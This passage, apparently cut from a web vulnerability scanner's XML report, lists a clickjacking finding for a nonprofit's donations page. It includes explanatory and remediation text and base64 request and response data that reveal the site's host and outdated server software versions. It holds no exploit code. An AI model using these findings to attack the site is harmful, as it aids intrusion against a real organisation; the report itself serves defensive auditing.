CIgYmdjb2xvcj0iI0UzRTNFMyI+ICAgICAgICA8L3RyPgogICAgICAgIDx0cj4gCiAgICAgICAgICA8dGQgYWxpZ249ImxlZnQiIHZhbGlnbj0idG9wIj4mbmJzcDs8L3RkPgogICAgICAgIDwvdHI+CiAgICA8L3RhYmxlPjwvdGQ+CiAgPC90cj4KICA8dHI+IAogICAgPHRkIGFsaWduPSJsZWZ0IiB2YWxpZ249ImJvdHRvbSI+PGltZyBzcmM9ImltZy9penExLmpwZyIgd2lkdGg9Ijk2IiBoZWlnaHQ9IjExNCIgLz48L3RkPgogICAgPHRkIGFsaWduPSJsZWZ0IiB2YWxpZ249InRvcCI+PGltZyBzcmM9ImltZy9RdWllbmVzU29tb3NfQTJfMF8yNS5qcGciIHdpZHRoPSI4MDkiIGhlaWdodD0iMTE0IiBib3JkZXI9IjAiIHVzZW1hcD0iI01hcDIiIC8+PC90ZD4KICA8L3RyPgogIDx0cj4gCiAgICA8dGQgaGVpZ2h0PSI1MCIgYWxpZ249ImxlZnQiIHZhbGlnbj0idG9wIiBiYWNrZ3JvdW5kPSJpbWcvUXVpZW5lc1NvbW9zX0EyXzE4XzE4LmpwZyI+Jm5ic3A7PC90ZD4KICAgIDx0ZCBoZWlnaHQ9IjUwIiBjbGFzcz0iZm9uZG9ib3R0b20iPjxhIGhyZWY9Imh0dHA6Ly93d3cuc2l0ZWkuY29tLmFyLyI+PGltZyBzcmM9ImltZy9laV9jb2xvci5wbmciIGFsdD0iZXNwYWNpb3MgZGUgaW1hZ2luYWNpb24sIGRlc2Fycm9sbG9zIGludGVyYWN0aXZvcywgY3JlYXRpdmlkYWQsIGRpc2XxbyIgd2lkdGg9IjI3IiBoZWlnaHQ9IjE1IiBib3JkZXI9IjAiPjwvYT4gPHNwYW4gY2xhc3M9ImVpIj48YSBocmVmPSJodHRwOi8vd3d3LnNpdGVpLmNvbS5hci8iIHNwYW4gY2xhc3M9ImVpIj5kaXNlJm50aWxkZTtvICsgY29tdW5pY2FjaSZvYWN1dGU7bjwvYT48L3NwYW4+PGVtPiZuYnNwOzwvZW0+PC9zcGFuPjxzcGFuIGNsYXNzPSJibGFuY28xIj48ZW0+Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7PC9lbT48L3NwYW4+PC90ZD4KICA8L3RyPgo8L3RhYmxlPgoKCjxtYXAgbmFtZT0iTWFwMiI+PGFyZWEgc2hhcGU9InJlY3QiIGNvb3Jkcz0iMjQ3LDY5LDQxNCw4MiIgaHJlZj0ibWFpbHRvOnNhbHVkYWN0aXZhQHNhbHVkYWN0aXZvLm9yZy5hciI+CjwvbWFwPgo8bWFwIG5hbWU9Ik1hcCI+CjxhcmVhIHNoYXBlPSJyZWN0IiBjb29yZHM9IjM2LDE0MiwxNDksMTUyIiBocmVmPSJpbmRleC5waHA/aWQ9OF92ZXIyJmNvbmY9MiI+CjxhcmVhIHNoYXBlPSJyZWN0IiBjb29yZHM9IjM0LDE4NiwxNTAsMTk2IiBocmVmPSJpbmRleC5waHA/aWQ9OF92ZXIyJmNvbmY9MCI+CjwvbWFwPgo8L2JvZHk+CjwvaHRtbD4K]]></response>
219 <responseRedirected>false</responseRedirected>
220 </requestresponse>
221 </issue>
222 <issue>
223 <serialNumber>3820606740865266688</serialNumber>
224 <type>5245344</type>
225 <name>Frameable response (potential Clickjacking)</name>
226 <host ip="200.20.20.201">http://www.example.org.ar</host>
227 <path><![CDATA[/donaciones/]]></path>
228 <location><![CDATA[/donaciones/]]></location>
229 <severity>Information</severity>
230 <confidence>Firm</confidence>
231 <issueBackground><![CDATA[It might be possible for a web page controlled by an attacker to load the content of this response within an iframe on the attacker's page. This may enable a "clickjacking" attack, in which the attacker's page overlays the target application's interface with a different interface provided by the attacker. By inducing victim users to perform actions such as mouse clicks and keystrokes, the attacker can cause them to unwittingly carry out actions within the application that is being targeted. This technique allows the attacker to circumvent defenses against cross-site request forgery, and may result in unauthorized actions.<br><br>Note that this issue is being reported because the application's response does not set a suitable <b>X-Frame-Options</b> header in order to prevent framing attacks. Some applications attempt to prevent these attacks from within the HTML page itself, using "framebusting" code. However, this type of defense is normally ineffective and can usually be circumvented by a skilled attacker.]]></issueBackground>
232 <remediationBackground><![CDATA[You should review the application functions that are accessible from within the response, and determine whether they can be used by application users to perform any sensitive actions within the application. If so, then a framing attack targeting this response may result in unauthorized actions.<br><br>To effectively prevent framing attacks, the application should return a response header with the name <b>X-Frame-Options</b> and the value <b>DENY</b> to prevent framing altogether, or the value <b>SAMEORIGIN</b> to allow framing only by pages on the same origin as the response itself.]]></remediationBackground>
233 <requestresponse>
234 <request base64="true"><![CDATA[R0VUIC9kb25hY2lvbmVzLyBIVFRQLzEuMQ0KSG9zdDogd3d3LnNhbHVkYWN0aXZhLm9yZy5hcg0KQWNjZXB0OiAqLyoNCkFjY2VwdC1MYW5ndWFnZTogZW4NClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wIChjb21wYXRpYmxlOyBNU0lFIDkuMDsgV2luZG93cyBOVCA2LjE7IFdpbjY0OyB4NjQ7IFRyaWRlbnQvNS4wKQ0KQ29ubmVjdGlvbjogY2xvc2UNCg0K]]></request>
235 <response base64="true"><![CDATA[SFRUUC8xLjEgMjAwIE9LDQpEYXRlOiBUaHUsIDA3IE5vdiAyMDEzIDE3OjE0OjA2IEdNVA0KU2VydmVyOiBBcGFjaGUvMi4yLjIzIChVbml4KSBtb2Rfc3NsLzIuMi4yMyBPcGVuU1NMLzAuOS44ZS1maXBzLXJoZWw1DQpMYXN0LU1vZGlmaWVkOiBXZWQsIDAzIEp1bCAyMDEzIDEzOjQ4OjMwIEdNVA0KRVRhZzogImFhZDk2Ny03MTI5LTRlMDliYjc3ZmM3ODAiDQpBY2NlcHQtUmFuZ2VzOiBieXRlcw0KQ29udGVudC1MZW5ndGg6IDI4OTY5DQpDb25uZWN0aW9uOiBjbG9zZQ0KQ29udGVudC1UeXBlOiB0ZXh0L2h0bWwNCg0KPCFET0NUWVBFIGh0bWwgUFVCTElDICItLy9XM0MvL0RURCBYSFRNTCAxLjAgVHJhbnNpdGlvbmFsLy9FTiIgImh0dHA6Ly93d3cudzMub3JnL1RSL3hodG1sMS9EVEQveGh0bWwxLXRyYW5zaXRpb25hbC5kdGQiPgo8aHRtbCB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMTk5OS94aHRtbCI+CjxoZWFkPgo8bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LVR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD1VVEYtOCIgLz4KPHRpdGxlPlNhbHVkIEFjdGl2YTwvdGl0bGU+CjxsaW5rIGhyZWY9ImVzdGlsb3MuY3NzIiByZWw9InN0eWxlc2hlZXQiIHR5cGU9InRleHQvY3NzIiAvPgo8bGluayBocmVmPSJmb3JtX2ZpbGVzL2VzdGlsb3MuY3NzIiByZWw9InN0eWxlc2hlZXQiIHR5cGU9InRleHQvY3NzIj4KPCEtLVtpZiBJRSA2XT4KCQkJPHN0eWxlIHR5cGU9InRleHQvY3NzIj4KCQkJIEBpbXBvcnQgdXJsKGllNi5jc3MpOwoJCQk8L3N0eWxlPiAKCQk8IVtlbmRpZl0tLT4KPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiIHNyYz0ianMvanF1ZXJ5Lm1pbi5qcyI+PC9zY3JpcHQ+CjxzY3JpcHQgc3JjPSJTY3JpcHRzL3N3Zm9iamVjdF9tb2RpZmllZC5qcyIgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij48L3NjcmlwdD4KPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiIHNyYz0ianMvanF1ZXJ5LmN5Y2xlLmFsbC4yLjc0LmpzIj48L3NjcmlwdD4gCjxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij4KJChkb2N1bWVudCkucmVhZHkoZnVuY3Rpb24oKSB7CgkkKCcjc2xpZGUnKS5jeWNsZSh7IAogICAgCWZ4OiAgICAgJ3Njcm9sbExlZnQnLCAKICAgCSAJc3BlZWQ6ICAxNTAwLCAKICAgIAl0aW1lb3V0OiA2MDAwICwKCQluZXh0OiAgICcjbmV4dCcsIAogICAgCXByZXY6ICAgJyNwcmV2JwoJfSk7Cn0pOwokKGZ1bmN0aW9uKCkKewovL2JvdG9uMQokKCIjYm90b24xIikuY2xpY2soZnVuY3Rpb24oZXZlbnQpIHsKZXZlbnQucHJldmVudERlZmF1bHQoKTsKJCgiI2NvbnRlbmlkbzEiKS5zbGlkZVRvZ2dsZSgpOwokKCIjY29udGVuaWRvMiwgI2NvbnRlbmlkbzMsICNjb250ZW5pZG80LCAjY29udGVuaWRvNSIpLnNsaWRlVXAoKTsKJCgiI2JvdG9uMSIpLnJlbW92ZUNsYXNzKCdub3NlbGVjdCcpLmFkZENsYXNzKCdzZWxlY3QnKTsKLy8kKCIjYm90b24yLCAjYm90b24zLCAjYm90b240LCAjYm90b241IikucmVtb3ZlQ2xhc3MoJ3NlbGVjdCcpLmFkZENsYXNzKCdub3NlbGVjdCcpOwp9KTsKCi8vYm90b24yCiQoIiNib3RvbjIiKS5jbGljayhmdW5jdGlvbihldmVudCkgewpldmVudC5wcmV2ZW50RGVmYXVsdCgpOwokKCIjY29udGVuaWRvMiIpLnNsaWRlVG9nZ2xlKCk7CiQoIiNjb250ZW5pZG8xLCAjY29udGVuaWRvMywgI2NvbnRlbmlkbzQsICNjb250ZW5pZG81Iikuc2xpZGVVcCgpOwokKCIjYm90b24yIikucmVtb3ZlQ2xhc3MoJ25vc2VsZWN0JykuYWRkQ2xhc3MoJ3NlbGVjdCcpOwovLyQoIiNib3RvbjEsICNib3RvbjMsICNib3RvbjQsICNib3RvbjUiKS5yZW1vdmVDbGFzcygnc2VsZWN0JykuYWRkQ2xhc3MoJ25vc2VsZWN0Jyk7Cn0pOwoKLy9ib3RvbjMKJCgiI2JvdG9uMyIpLmNsaWNrKGZ1bmN0aW9uKGV2ZW50KSB7CmV2ZW50LnByZXZlbnREZWZhdWx0KCk7CiQoIiNjb250ZW5pZG8zIikuc2xpZGVUb2dnbGUoKTsKJCgiI2NvbnRlbmlkbzEsICNjb250ZW5pZG8yLCAjY29udGVuaWRvNCwgI2NvbnRlbmlkbzUiKS5zbGlkZVVwKCk7CiQoIiNib3RvbjMiKS5yZW1vdmVDbGFzcygnbm9zZWxlY3QnKS5hZGRDbGFzcygnc2VsZWN0Jyk7Ci8vJCgiI2JvdG9uMiwgI2JvdG9uMSwgI2JvdG9uNCwgI2JvdG9uNSIpLnJlbW92ZUNsYXNzKCdzZWxlY3QnKS5hZGRDbGFzcygnbm9zZWxlY3QnKTsKfSk7CgovL2JvdG9uNAokKCIjYm90b240IikuY2xpY2soZnVuY3Rpb24oZXZlbnQpIHsKZXZlbnQucHJldmVudERlZmF1bHQoKTsKJCgiI2NvbnRlbmlkbzQiKS5zbGlkZVRvZ2dsZSgpOwokKCIjY29udGVuaWRvMSwgI2NvbnRlbmlkbzMsICNjb250ZW5pZG8yLCAjY29udGVuaWRvNSIpLnNsaWRlVXAoKTsKJCgiI2JvdG9uNCIpLnJlbW92ZUNsYXNzKCdub3NlbGVjdCcpLmFkZENsYXNzKCdzZWxlY3QnKTsKJCgiI2JvdG9uMiwgI2JvdG9uMywgI2JvdG9uMSwgI2JvdG9uNSIpLnJlbW92ZUNsYXNzKCdzZWxlY3QnKS5hZGRDbGFzcygnbm9zZWxlY3QnKTsKfSk7CgovL2JvdG9uNQokKCIjYm90b241IikuY2xpY2soZnVuY3Rpb24oZXZlbnQpIHsKZXZlbnQucHJldmVudERlZmF1bHQoKTsKJCgiI2NvbnRlbmlkbzUiKS5zbGlkZVRvZ2dsZSgpOwokKCIjY29udGVuaWRvMSwgI2NvbnRlbmlkbzMsICNjb250ZW5pZG8yLCAjY29udGVuaWRvNCIpLnNsaWRlVXAoKTsKJCgiI2JvdG9uNSIpLnJlbW92ZUNsYXNzKCdub3NlbGVjdCcpLmFkZENsYXNzKCdzZWxlY3QnKTsKJCgiI2JvdG9uMiwgI2JvdG9uMywgI2JvdG9uMSwgI2JvdG9uNCIpLnJlbW92ZUNsYXNzKCdzZWxlY3QnKS5hZGRDbGFzcygnbm9zZWxlY3QnKTsKfSk7Cn0pOwo8L3NjcmlwdD4KCgo8L2hlYWQ+Cgo8Ym9keT4KPGRpdiBpZD0iY29udGVuZWRvciI+CjxkaXYgaWQ9ImhlYWRlciI+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgPHRyPgogICAgPHRkIGFsaWduPSJsZWZ0IiB2YWxpZ249Im1pZGRsZSI+PGltZyBzcmM9ImltYWdlcy9oZWFkZXIuanBnIiBuYW1lPSJib3RvbjQiIHdpZHRoPSI5MzMiIGhlaWdodD0iMTI5IiBpZD0iYm90b240Ii8+PC90ZD4KICAgPCEtLSA8dGQgdmFsaWduPSJtaWRkbGUiPjxhIGhyZWY9ImluZm8uZG9jIiB0YXJnZXQ9Il9ibGFuayI+PGltZyBzcmM9ImltYWdlcy9oZWFkZXJtYzEuanBnIiBuYW1lPSJkZXNjYXJnYSIgd2lkdGg9Ijg0NSIgaGVpZ2h0PSIxMTAiIGJvcmRlcj0iMCIgIGlkPSJkZXNjYXJnYSIvPi0tPgo8L2E+PC90ZD4KICA8L3RyPgo8L3RhYmxlPgo8L2Rpdj4gPCEtLWVuZCBvZiBIRUFERVIgLS0+CiAgICA8ZGl2IGlkPSJpbWFnZW5lcyI+CiAgICAgIDxkaXYgaWQ9InNsaWRlciI+CiAgIAkgIDxkaXY+CiAgIAkJPGltZyBzcmM9ImltYWdlcy9iYW5uZXJfaG9tZS5qcGciIHdpZHRoPSI5MzUiIGhlaWdodD0iMzA5IiAvPjwvZGl2PiAKICAgCSAgPCEtLWVuZCBvZiBTTElERSAtLT4KICAgICAgPC9kaXY+IAogICAgICA8IS0tZW5kIG9mIFNMSURFUiAtLT4KPC9kaXY+IAogICAgPCEtLWVuZCBvZiBJTUFHRU5FUyAtLT4gICAgCjxkaXYgaWQ9ImJvdG9uZXJhIj4KICAgIAk8dWw+CiAgICAgICAgCTxsaSBjbGFzcz0ibm9zZWxlY3QxIiBpZD0iYm90b24yIj48L2xpPgogICAgICAgICAgICA8bGkgY2xhc3M9Im5vc2VsZWN0MiIgaWQ9ImJvdG9uMSI+PC9saT4KICAgICAgICAgIDxhIGhyZWY9ImphdmFzY3JpcHQ6IHZvaWQobyk7IiBvbmNsaWNrPSJ3aW5kb3cub3BlbignaHR0cDovL3d3dy5mYWNlYm9vay5jb20vc2hhcmVyLnBocD91PWh0dHA6Ly93d3cuc2FsdWRhY3RpdmEub3JnLmFyL2RvbmFjaW9uZXMvJywndmVudGFuYWNvbXBhcnRpcicsICd0b29sYmFyPTAsIHN0YXR1cz0wLCB3aWR0aD02NTAsIGhlaWdodD00NTAnKTsiPgogICAgICAgIDxsaSBjbGFzcz0ibm9zZWxlY3QzIj48L2xpPgogICAgICAgICAgICA8L2E+CiAgICAgICAgICAgIDwhLS08bGkgY2xhc3M9Im5vc2VsZWN0IiBpZD0iYm90b240Ij5JTkZPUk1BQ0nDk04gREUgQ09NUFJBUzwvbGk+LS0+CiAgICAgICAgICA8IS0tIDxsaSBjbGFzcz0ibm9zZWxlY3QiIGlkPSJib3RvbjUiPkNPTUVSQ0lBTCBERSBUVjwvbGk+IC0tPgogICAgICAgIDwvdWw+CiAgICAgPC9kaXY+ICAgICAgIAogICAgIDwvZGl2Pgo8IS0tZW5kIG9mIEJPVE9ORVJBIC0tPgogICAgCjxkaXYgY2xhc3M9ImNvbnRlbmlkbyIgaWQ9ImNvbnRlbmlkbzEiPgoKPCEtLUNPTlRFTklETyAxZXIgQk9UT04gLS0+CiAKPGRpdiBjbGFzcz0iZm9uZG9fY29udDQiPgoKPGRpdiBjbGFzcz0idGV4dG8iPgo8cD4mbmJzcDs8L3A+CjxwPiZuYnNwOzwvcD4KPHA+PHNwYW4gY2xhc3M9ImgxIj48Yj5TYWx1ZCBBY3RpdmE8L2I+PC9zcGFuPjwvcD4KICAgIAo8cD48c3BhbiBjbGFzcz0iaDIiPlNhbHVkIEFjdGl2YSBlcyB1bmEgb3JnYW5pemFjacOzbiBzaW4gZmluZXMgZGUgbHVjcm8gcXVlIGluaWNpw7Mgc3UgdHJhYmFqbyBhIHByaW5jaXBpb3MgZGVsIGHDsW8gMTk5OS48L3NwYW4+PC9wPgoKPHA+PHNwYW4gY2xhc3M9ImgzIj4KPHN0cm9uZyBzdHlsZT0iZm9udC13ZWlnaHQ6Ym9sZDsiPjxiciAvPgpIb3kgZXN0YW1vcyB0cmFiYWphbmRvIGVuIGVzdGUgcHJveWVjdG86PC9zdHJvbmc+PGJyIC8+CjxhIGhyZWY9Imh0dHA6Ly9pc3N1dS5jb20vZWkuZXN0dWRpby9kb2NzL3NhbHVkYWN0aXZhLWx1ZG90ZWNhP21vZGU9d2luZG93IiB0YXJnZXQ9Il9ibGFuayI+PGltZyBzcmM9ImltYWdlcy9HYXJhYmF0b0x1ZG90ZWNhXzUwMHB4LmpwZyIgd2lkdGg9IjUwMCIgaGVpZ2h0PSIxMTMiIGJvcmRlcj0iMCIgLz48L2E+Cgo8YnIgLz4KPGEgaHJlZj0iUHJveWVjdG9MdWRvdGVjYUNvbXBsZXRvLnBkZiIgdGFyZ2V0PSJfYmxhbmsiIHN0eWxlPSJjb2xvcjojRjYwOyI+VmVyIHByb3llY3RvIGNvbXBsZXRvPC9hPjxiciAvPgo8c3Ryb25nPjxiciAvPgo8L3N0cm9uZz48L3NwYW4+PHN0cm9uZyBzdHlsZT0iZm9udC13ZWlnaHQ6Ym9sZDsiPlVuIHBvY28gZGUgaGlzdG9yaWE8L3N0cm9uZz48ZW0+OjwvZW0+PC9wPgo8cD48c3BhbiBjbGFzcz0iaDMiPkN1YW5kbyBpbmljaWFtb3MgZXN0ZSBjYW1pbm8gdGVuw61hbW9zIHVuYSBwcmVvY3VwYWNpw7NuLCBsb3MgcHNpY8OzbG9nb3MgeSBwc2ljw7Nsb2dhcyBjdWFuZG8gc2UgcmVjaWLDrWFuIHRlbsOtYW4gcXVlIGNvbWVuemFyIGEgZWplcmNlciB5IHNlIGVuZnJlbnRhYmFuIGEgdW5hIHNlcmllIGRlIHByb2JsZW1hcywgZW50cmUgZWxsb3MgbGEgZGlmZXJlbmNpYSBlbnRyZSBsbyBxdWUgYXByZW5kw61hbiAoeSBhcHJlbmRlbikgZW4gbGEgRmFjdWx0YWQgKHNlYSBsYSBxdWUgc2VhKSB5IGxhIHJlYWxpZGFkIGRlbCBzdWZyaW1pZW50byBkZSBsYSBnZW50ZS4gCiAgRWwgb3RybyBwcm9ibGVtYSBjb24gZWwgcXVlIHNlIHRvcGFiYW4gZXMgbGEgaW5leGlzdGVuY2lhIGRlIGx1Z2FyZXMgZG9uZGUgcmVhbGl6YXIgcHLDoWN0aWNhcywgZG9uZGUgYXByZW5kZXIgYSBhdGVuZGVyIHBhY2llbnRlcywgY29tbyBzZXIgcHNpY8OzbG9nb3MgeSBwc2ljw7Nsb2dhcyBlbiBsYSByZWFsaWRhZCBkZWwgY29udXJiYW5vIGJvbmFlcmVuc2XigKYgPGJyIC8+PGJyIC8+CiAgRXNhcyBwcmVvY3VwYWNpb25lcyBzZSBkZXNwcmVuZGllcm9uIGRlIGRpZXogYcOxb3MgZGUgZnVuY2lvbmFtaWVudG8gY29tbyBpbnN0aXR1Y2nDs24gcHNpY29sw7NnaWNhLCBlbCBDSUFQU0kgKENlbnRybyBkZSBJbnZlc3RpZ2FjacOzbiB5IEFzaXN0ZW5jaWEgUHNpY29zb23DoXRpY2EgZnVuZGFkbyBlbiAxOTg5KSB5IGEgbGEgcXVlIGNvbnZvY2Ftb3MgYSBtdWNob3MgeSBtdWNoYXMgasOzdmVuZXMgY29sZWdhcyBxdWUgc3VmcsOtYW4gZXN0YXMgZG9zIGNhcmVuY2lhcyBiw6FzaWNhcyBlbiBzdSBmb3JtYWNpw7NuLiBDb24gZXN0ZSBlc3DDrXJpdHUgZGUgZm9ybWFjacOzbiBwcm9mZXNpb25hbCBjb21lbnphbW9zIG51ZXN0cm8gY2FtaW5vIGNvbiBTYWx1ZCBBY3RpdmEsIGV4YWN0YW1lbnRlIGVsIDkgZGUgYWJyaWwgZGVsIDk5LCBtZWRpYW50ZSBsYSBpbXBsZW1lbnRhY2nDs24gZGVsIFByb2dyYW1hIEFzaXRpci4gQ29udm9jYW1vcyBhIGxvcyBwcm9mZXNpb25hbGVzIHJlY2nDqW4gcmVjaWJpZG9zIGEgcmVhbGl6YXIgZXN0YSBmb3JtYWNpw7NuIHByb2Zlc2lvbmFsIHRlw7NyaWNvLXByw6FjdGljYSBkZSBtYW5lcmEgZ3JhdHVpdGEgeSBxdWUgaW5jbHXDrWEgbGEgc3VwZXJ2aXNpw7NuIGNsw61uaWNhIGRlIGxvcyBwYWNpZW50ZXMgdGFtYmnDqW4gZGUgbWFuZXJhIGdyYXR1aXRhLiAKICA8YnIgLz48YnIgLz4KICBQYXJhIGdlbmVyYXIgbG9zIGVzcGFjaW9zIGRlIGxhIHByw6FjdGljYSBpbnZpdGFtb3MgYSBsYSBjb211bmlkYWQgY2VyY2FuYSBhIHBhcnRpY2lwYXIgZGUgZXN0YSBwb3NpYmlsaWRhZDogYXNpc3RlbmNpYSBwc2ljb2zDs2dpY2EgZ3JhdHVpdGEgbyBtZWRpYW50ZSBlbCBwYWdvIGRlIHVuIG3DrW5pbW8gYm9ubyBjb250cmlidWNpw7Nu4oCmCiAgPGJyIC8+PGJyIC8+CiAgUHJpbWVybyBmdWVyb24gbGFzIGVzY3VlbGFzIGRlIG51ZXN0cm8gcGFydGlkbywgcG9kcsOhbiBpbWFnaW5hcnNlIHF1ZSBsYSBwcmltZXJhIHJlYWNjacOzbiBmdWUgZGUgYXNvbWJybyB5IGRlc2NvbmZpYW56YSwgbGFzIGRpcmVjdG9yYXMgeSBlcXVpcG9zIHTDqWNuaWNvcyBjb21lbnphcm9uIGEgbGxhbWFyIHBvciB0ZWzDqWZvbm8sIHNlIGZ1ZXJvbiBhY2VyY2FuZG8geSBsZXMgZXhwbGljw6FiYW1vcyBjdWFsZXMgZXJhbiBudWVzdHJvcyBvYmpldGl2b3M6IGZvcm1hciBwcm9mZXNpb25hbGVzIHkgcGVybWl0aXIgYSBtw6FzIGdlbnRlIHBvZGVyIGFjY2VkZXIgYSBsYSBhc2lzdGVuY2lhIHBzaWNvbMOzZ2ljYS4gQXPDrSBwbGFudGVhZG8gZW1wZXphcm9uIGEgbGxlZ2FyIGxhcyBwcmltZXJhcyBkZXJpdmFjaW9uZXM6IG5pw7FvcywgbmnDsWFzIHkgYWRvbGVzY2VudGVzIHF1ZSB0dXZpZXJhbiBkaWZpY3VsdGFkZXMgbyBwcm9ibGVtYXMgZW4gbGEgZXNjdWVsYSwgeSBxdWUgbGEgZXNjdWVsYSBzZSBjb21wcm9tZXRpZXJhIGEKICB0cmFiYWphciBqdW50byBhIG5vc290cm9zIGVuIGxhIHByb2JsZW3DoXRpY2EgZGVsIG5pw7FvIG8gbmnDsWEuCiAgUXVlIGZ1ZSBsbyBxdWUgb2N1cnJpw7PigKZsYSBtYXlvcsOtYSBkZSBsYXMgZGVyaXZhY2lvbmVzIGVzdGFiYW4gdmluY3VsYWRhcyBhbCBtYWx0cmF0byAsIGEgbGEgdmlvbGVuY2lhIHkgYWwgYWJ1c28gaW5mYW50aWwuIAogIDxiciAvPjxiciAvPgogIEp1c3RhbWVudGUgcG9yIHVuIGNhc28gZGUgYWJ1c28gc2V4dWFsIGluZmFudGlsIGZ1aW1vcyBjb252b2NhZG9zIHBvciB1bm8gZGUgbG9zIFRyaWJ1bmFsZXMgZGUgRmFtaWxpYSBkZSBNb3LDs24sIGVsIG7CuiAxIHBhcmEgc2VyIG3DoXMgZXhhY3RvcyBlbiBkb25kZSBjb21lbnphYmEgYSBmdW5jaW9uYXIgdW4gZXNwYWNpbyBpbm5vdmFkb3IgcGFyYSBhcXVlbCBtb21lbnRvLCBub3ZpZW1icmUgZGVsIDk5LCAgbGEgUmVkIGRlIEZhbWlsaWEgZGVsIE9lc3RlLCBjcmVhZGEgcG9yIHVuIEp1ZXogZWwgRHIuIENhcmxvcyBSb21hbm8sIHZpc2lvbmFyaW8gc29icmUgbGEgZm9ybWEgZW4gbGEgcXVlIHNlIGRlYmVuIHRyYWJhamFyIGxvcyB0ZW1hcyBkZSB2aW9sZW5jaWEsIG1hbHRyYXRvIHkgYWJ1c286IGVuIHJlZCwgYXJ0aWN1bGFuZG8sCiAgbXVsdGlkaXNjaXBsaW5hcmlhbWVudGUsIHBlbnNhbmRvIGp1bnRvcywgc2llbmRvIGNyZWF0aXZvc+KApgogIDxiciAvPjxiciAvPgogIE5vcyBhdXRvIGZvcm1hbW9zLCBpbnZlc3RpZ2Ftb3MsIGNvbnN0aXR1aW1vcyBncnVwb3MgZGUgZXN0dWRpbywgbm9zIGNhcGFjaXRhbW9zLCB5IG5vcyBlc3BlY2lhbGl6YW1vcy4KICBTaWVtcHJlIGRlY2ltb3MgcXVlIG5vc290cm9zIG5vIGVsZWdpbW9zIGhhY2VyIGVzdG8sIGxhIHJlYWxpZGFkIHNlIG5vcyBpbXB1c28geSBzZW50aW1vcyBxdWUgZXJhIG51ZXN0cm8gZGViZXIgcmVzcG9uZGVyIGEgbG8gcXVlIG5hZGllIHJlc3BvbmRlLCBhY29tcGHDsWFyIGxvIHF1ZSBuYWRpZSBhY29tcGHDsWEsIHkgcG9yIHNvYnJlIHRvZG8gaGFjZXLigKYsIHRyYXRhciBxdWUgZWwgcXVlIGVzdMOhIHN1ZnJpZW5kbyB0ZW5nYSBsYSBvcG9ydHVuaWRhZCBkZSBlbGVnaXIgb3RyYSBjb3NhLCB0ZW5nYSBsYSBwb3NpYmlsaWRhZCBkZSBtZWpvcmFyLCBkZSBjYW1iaWFyIHN1IGRlc3Rpbm/igKYKICA8YnIgLz48YnIgLz4KICBFbiBlc2UgY2FtaW5vIGZ1aW1vcyBoYWNpZW5kbywgbG9zIENvbmdyZXNvcywgbGFzIEpvcm5hZGFzLCBsYXMgY2FwYWNpdGFjaW9uZXMgZXh0ZXJuYXMgeSBmb3JtYW1vcyBtdWNob3MsIHBlcm8gbXVjaG9zIHByb2Zlc2lvbmFsZXPigKZudW5jYSB0dXZpbW9zIGVsIHRpZW1wbyB5IGVsIGRpbmVybyBwYXJhIHNpc3RlbWF0aXphciBsYSBpbmZvcm1hY2nDs24geSBwb2RlciBjb250YXIgY29uIGVzdGFkw61zdGljYXMgcG9ycXVlIGVsIHRpZW1wbyB5IGVsIHBvY28gZGluZXJvIGxvIHVzYW1vcyBwYXJhIGFsaXZpYXIgZWwgc3VmcmltaWVudG8gZGUgbG9zIHBhY2llbnRlcyBxdWUgcmVjdXJyZW4gYSBub3NvdHJvcy4KICA8YnIgLz48YnIgLz4KICBUYW1iacOpbiBub3MgZGltb3MgY3VlbnRhIHF1ZSBlbiBtdWNob3MgbW9tZW50b3MgZGUgbGEgdmlkYSBkZSBsb3Mgb